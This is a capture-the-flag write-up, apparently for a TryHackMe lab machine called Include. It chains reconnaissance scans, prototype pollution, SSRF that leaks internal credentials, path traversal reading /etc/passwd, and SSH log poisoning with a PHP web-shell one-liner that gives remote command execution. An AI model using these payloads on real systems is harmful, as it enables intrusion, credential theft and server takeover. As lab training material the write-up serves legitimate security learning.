6 minute read

Include

The Include machine puts your server exploitation skills to the test. With a focus on server-side vulnerabilities, this challenge requires an understanding of common misconfigurations, prototype pollution, SSRF, and path traversal to RCE. From file inclusion flaws to improper privilege controls, every step toward getting the flags is a lesson in real-world security risks. Ready to take control of the web app? Let’s break down the attack surface and uncover the vulnerabilities lurking within Include.

Information gathering

Scanning

nmap

Command:

nmap -sC -sV 10.10.213.231

Results

PORT      STATE SERVICE  VERSION
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 a4:97:4d:b1:cc:8c:fd:c5:4a:22:94:d6:6d:de:9e:75 (RSA)
|   256 e8:22:37:1f:47:a7:00:18:75:0b:47:d9:77:da:d9:a1 (ECDSA)
|_  256 5e:7c:3e:f8:ae:8b:04:f9:cd:e1:be:d4:ef:83:ac:30 (ED25519)
25/tcp    open  smtp     Postfix smtpd
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after:  2031-11-08T16:53:34
|_smtp-commands: mail.filepath.lab, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
|_ssl-date: TLS randomness does not represent time
110/tcp   open  pop3     Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: SASL STLS RESP-CODES AUTH-RESP-CODE TOP PIPELINING CAPA UIDL
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after:  2031-11-08T16:53:34
143/tcp   open  imap     Dovecot imapd (Ubuntu)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after:  2031-11-08T16:53:34
|_imap-capabilities: more Pre-login have post-login SASL-IR STARTTLS IMAP4rev1 LITERAL+ LOGIN-REFERRALS LOGINDISABLEDA0001 ID capabilities IDLE listed ENABLE OK
993/tcp   open  ssl/imap Dovecot imapd (Ubuntu)
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after:  2031-11-08T16:53:34
|_imap-capabilities: more Pre-login have post-login SASL-IR listed capabilities AUTH=PLAIN LOGIN-REFERRALS IDLE ID LITERAL+ IMAP4rev1 AUTH=LOGINA0001 ENABLE OK
|_ssl-date: TLS randomness does not represent time
995/tcp   open  ssl/pop3 Dovecot pop3d
|_ssl-date: TLS randomness does not represent time
|_pop3-capabilities: SASL(PLAIN LOGIN) USER RESP-CODES AUTH-RESP-CODE TOP PIPELINING CAPA UIDL
| ssl-cert: Subject: commonName=ip-10-10-31-82.eu-west-1.compute.internal
| Subject Alternative Name: DNS:ip-10-10-31-82.eu-west-1.compute.internal
| Not valid before: 2021-11-10T16:53:34
|_Not valid after:  2031-11-08T16:53:34
4000/tcp  open  http     Node.js (Express middleware)
|_http-title: Sign In
50000/tcp open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: System Monitoring Portal
Service Info: Host:  mail.filepath.lab; OS: Linux; CPE: cpe:/o:linux:linux_kernel

ffuf

Command:

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.110.60:50000/FUZZ 

Results:

templates               [Status: 301, Size: 325, Words: 20, Lines: 10, Duration: 54ms]
uploads                 [Status: 301, Size: 323, Words: 20, Lines: 10, Duration: 55ms]
javascript              [Status: 301, Size: 326, Words: 20, Lines: 10, Duration: 55ms]
phpmyadmin              [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 56ms]
server-status           [Status: 403, Size: 280, Words: 20, Lines: 10, Duration: 55ms]

ffuf

Command:

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://10.10.110.60:4000/FUZZ         

Results:

index                   [Status: 302, Size: 29, Words: 4, Lines: 1, Duration: 71ms]
images                  [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 83ms]
signup                  [Status: 500, Size: 1246, Words: 55, Lines: 11, Duration: 58ms]
Index                   [Status: 302, Size: 29, Words: 4, Lines: 1, Duration: 55ms]
signin                  [Status: 200, Size: 1295, Words: 366, Lines: 41, Duration: 60ms]
fonts                   [Status: 301, Size: 177, Words: 7, Lines: 11, Duration: 56ms]
INDEX                   [Status: 302, Size: 29, Words: 4, Lines: 1, Duration: 59ms]
Signup                  [Status: 500, Size: 1246, Words: 55, Lines: 11, Duration: 56ms]
SignUp                  [Status: 500, Size: 1246, Words: 55, Lines: 11, Duration: 57ms]
signUp                  [Status: 500, Size: 1246, Words: 55, Lines: 11, Duration: 59ms]
SignIn                  [Status: 200, Size: 1295, Words: 366, Lines: 41, Duration: 58ms]

Exploitation

Foothold

  1. Checking the application hosted athttp://10.10.110.60:4000 I found is vulnerable to prototype pollution
  2. Login using provided guest credentials and try to recommend an activity to guest itself
  3. Since the application is vulnerable to prototype pollution add Activity Type equal to isAdmin and Activity Name equal to true. This will override the property isAdmin=”false” and give guest user admin rights
  4. Once you are admin you will have access to a new menu item called API with following content:
API Dashboard
Below is a list of important APIs accessible to admins with sample requests and responses:

Internal API
GET http://127.0.0.1:5000/internal-api HTTP/1.1
Host: 127.0.0.1:5000

Response:
{
  "secretKey": "superSecretKey123",
  "confidentialInfo": "This is very confidential."
}
Get Admins API
GET http://127.0.0.1:5000/getAllAdmins101099991 HTTP/1.1
Host: 127.0.0.1:5000

Response:
{
    "ReviewAppUsername": "admin",
    "ReviewAppPassword": "xxxxxx",
    "SysMonAppUsername": "administrator",
    "SysMonAppPassword": "xxxxxxxxx",
}
  1. Also, as admin you will get access to Settings menu where you can change the banner by updating the banner image URL, this functionality is vulnerable to SSRF
  2. Replace the default image https://preview.ibb.co/hB9WHn/background.jpg with the internal API endpoint discovered earlier http://127.0.0.1:5000/internal-api and get the secretKey : data:application/json; charset=utf-8;base64,eyJzZWNyZXRLZXkiOiJzdXBlclNlY3JldEtleTEyMyIsImNvbmZpZGVudGlhbEluZm8iOiJUaGlzIGlzIHZlcnkgY29uZmlkZW50aWFsIGluZm9ybWF0aW9uLiBIYW5kbGUgd2l0aCBjYXJlLiJ9
  3. Since the information is returned base64 encoded, decode the key: {"secretKey":"superSecretKey123","confidentialInfo":"This is very confidential information. Handle with care."}
  4. Do the same for the other API endpoint http://127.0.0.1:5000/getAllAdmins101099991 resulting in: data:application/json; charset=utf-8;base64,eyJSZXZpZXdBcHBVc2VybmFtZSI6ImFkbWluIiwiUmV2aWV3QXBwUGFzc3dvcmQiOiJhZG1pbkAhISEiLCJTeXNNb25BcHBVc2VybmFtZSI6ImFkbWluaXN0cmF0b3IiLCJTeXNNb25BcHBQYXNzd29yZCI6IlMkOSRxazZkIyoqTFFVIn0=
  5. Decode the response: {"ReviewAppUsername":"admin","ReviewAppPassword":"admin@!!!","SysMonAppUsername":"administrator","SysMonAppPassword":"S$9$qk6d#**LQU"}

Data exfiltration

  1. Now that we have the SysMon system administrator and password we can login and get the the first flag: FIRST_FLAG

Privilege escalation

  1. Application SysMon hosted on port 50000 is vulnerable to path traversal on request GET /profile.php?img=%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2fetc%2fpasswd HTTP/1.1
  2. Using this vulnerability we can exfiltrate data like /etc/passwd
    root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    sync:x:4:65534:sync:/bin:/bin/sync
    games:x:5:60:games:/usr/games:/usr/sbin/nologin
    man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
    lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
    mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
    news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
    uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
    proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
    www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
    backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
    list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
    irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
    gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
    nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
    systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
    systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
    systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
    messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
    syslog:x:104:110::/home/syslog:/usr/sbin/nologin
    _apt:x:105:65534::/nonexistent:/usr/sbin/nologin
    tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
    uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
    tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
    sshd:x:109:65534::/run/sshd:/usr/sbin/nologin
    landscape:x:110:115::/var/lib/landscape:/usr/sbin/nologin
    pollinate:x:111:1::/var/cache/pollinate:/bin/false
    ec2-instance-connect:x:112:65534::/nonexistent:/usr/sbin/nologin
    systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
    ubuntu:x:1000:1000:Ubuntu:/home/ubuntu:/bin/bash
    lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
    tryhackme:x:1001:1001:,,,:/home/tryhackme:/bin/bash
    mysql:x:113:119:MySQL Server,,,:/nonexistent:/bin/false
    postfix:x:114:121::/var/spool/postfix:/usr/sbin/nologin
    dovecot:x:115:123:Dovecot mail server,,,:/usr/lib/dovecot:/usr/sbin/nologin
    dovenull:x:116:124:Dovecot login user,,,:/nonexistent:/usr/sbin/nologin
    joshua:x:1002:1002:,,,:/home/joshua:/bin/bash
    charles:x:1003:1003:,,,:/home/charles:/bin/bash
    
  3. Another injection point for path traversal is the PHPSESSID returning the serialized content of the active PHP session
GET /profile.php?img=%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2f%2e%2e%2e%2e%2f%2fvar%2flib%2fphp%2fsessions%2fsess_m9m8oilh4h1i3cop8fsm04bn6o HTTP/1.1
Host: 10.10.139.240:50000
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=m9m8oilh4h1i3cop8fsm04bn6o
Connection: keep-alive


HTTP/1.1 200 OK
Date: Mon, 17 Feb 2025 12:58:07 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 30
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

username|s:13:"administrator";

Data exfiltration

  1. Also, readable location is the log file /var/log/auth.log the information here is saved from login attempts like SSH attempts
  2. Since the direct access to SSH like ssh <?php system($_GET['c']);?>@<target_ip> is not working because of the characters in the username we can use telnet to inject the PHP payload and poison the log
  3. Telnet like:
    telnet 10.10.53.113 22
    Trying 10.10.53.113...
    Connected to 10.10.53.113.
    Escape character is '^]'.
    SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.11
    <?php system($_GET['c']);?>
    Invalid SSH identification string.
    Connection closed by foreign host.
    
  4. After injecting the payload you can run commands as a logged user by simply using the URL in the browser. List folder content
http://10.10.53.113:50000/profile.php?img=....//....//....//....//....//....//....//....//....//....//....//....//var/log/auth.log&c=ls

Feb 21 11:26:06 mail sshd[1865]: Server listening on 0.0.0.0 port 22. Feb 21 11:26:06 mail sshd[1865]: Server listening on :: port 22. Feb 21 11:26:16 mail sudo: root : TTY=unknown ; PWD=/ ; USER=root ; COMMAND=/etc/badr/badr Feb 21 11:26:16 mail sudo: pam_unix(sudo:session): session opened for user root by (uid=0) Feb 21 11:28:58 mail sshd[2176]: error: kex_exchange_identification: client sent invalid protocol identifier "505eb0fb8a9f32853b4d955e1f9123ea.txt api.php auth.php dashboard.php index.php login.php logout.php profile.php templates uploads " Feb 21 11:39:01 mail CRON[2198]: pam_unix(cron:session): session opened for user root by (uid=0) Feb 21 11:39:01 mail CRON[2198]: pam_unix(cron:session): session closed for user root
  1. To read the content of the hidden file run command in the bowser and get the flag:
http://10.10.53.113:50000/profile.php?img=....//....//....//....//....//....//....//....//....//....//....//....//var/log/auth.log&c=cat%20505eb0fb8a9f32853b4d955e1f9123ea.txt

Feb 21 11:26:06 mail sshd[1865]: Server listening on 0.0.0.0 port 22. Feb 21 11:26:06 mail sshd[1865]: Server listening on :: port 22. Feb 21 11:26:16 mail sudo: root : TTY=unknown ; PWD=/ ; USER=root ; COMMAND=/etc/badr/badr Feb 21 11:26:16 mail sudo: pam_unix(sudo:session): session opened for user root by (uid=0) Feb 21 11:28:58 mail sshd[2176]: error: kex_exchange_identification: client sent invalid protocol identifier "THM{xxxx} "
  1. Upgrading path traversal to RCE we managed to get the SECOND_FLAG